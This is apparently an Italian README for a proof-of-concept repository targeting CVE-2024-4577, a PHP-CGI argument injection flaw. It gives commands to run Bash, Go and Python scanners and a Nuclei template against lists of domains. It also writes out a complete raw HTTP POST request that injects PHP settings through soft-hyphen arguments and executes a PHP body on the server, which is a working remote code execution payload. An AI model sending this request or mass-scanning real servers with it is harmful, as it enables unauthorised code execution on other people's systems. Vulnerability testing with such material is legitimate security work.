
PoC RCE PHP per CVE-2024-4577 scritto in bash, go, python e un template nuclei
Questo repository contiene script per verificare la vulnerabilità CVE-2024-4577, un problema di iniezione di argomenti in PHP-CGI. Puoi utilizzare gli script Bash, Go e Python forniti per testare un elenco di domini per questa vulnerabilità. Ho anche rilasciato un file YAML per Nuclei.
Per utilizzare lo script Bash, esegui il seguente comando:
./CVE-2024-4577.sh /path/to/domains-list
Per prima cosa, salva lo script Go in un file denominato CVE-2024-4577.go. Per compilare ed eseguire lo script Go:
Compila lo script Go in un binario:
go build -o CVE-2024-4577 CVE-2024-4577.go
Esegui il binario passando come argomento il file dell'elenco di domini:
./CVE-2024-4577 /path/to/domains-list
Per prima cosa, salva lo script Python in un file denominato CVE-2024-4577.py. Per eseguire lo script Python:
Assicurati di avere installata la libreria requests:
pip install requests
Esegui lo script Python passando come argomento il file dell'elenco di domini:
python CVE-2024-4577.py /path/to/domains-list
(Opzionale) Se vuoi stampare solo gli host vulnerabili:
python CVE-2024-4577.py /path/to/domains-list --quiet
Per testare manualmente la vulnerabilità, puoi inviare la seguente richiesta POST:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
Ho anche creato un template Nuclei per scansionare le istanze vulnerabili; utilizza lo schema di layout v3 ed è stato testato in un ambiente di laboratorio:
nuclei -t CVE-2024-4577.yaml -u <target-url>
L'elenco dei domini deve essere preceduto da http/https per essere letto correttamente.
http://example.com
http://testsite.com
http://vulnerablesite.com
Se un dominio risulta vulnerabile, l'output sarà:
http://example.com: Vulnerable
http://vulnerablesite.com: Vulnerable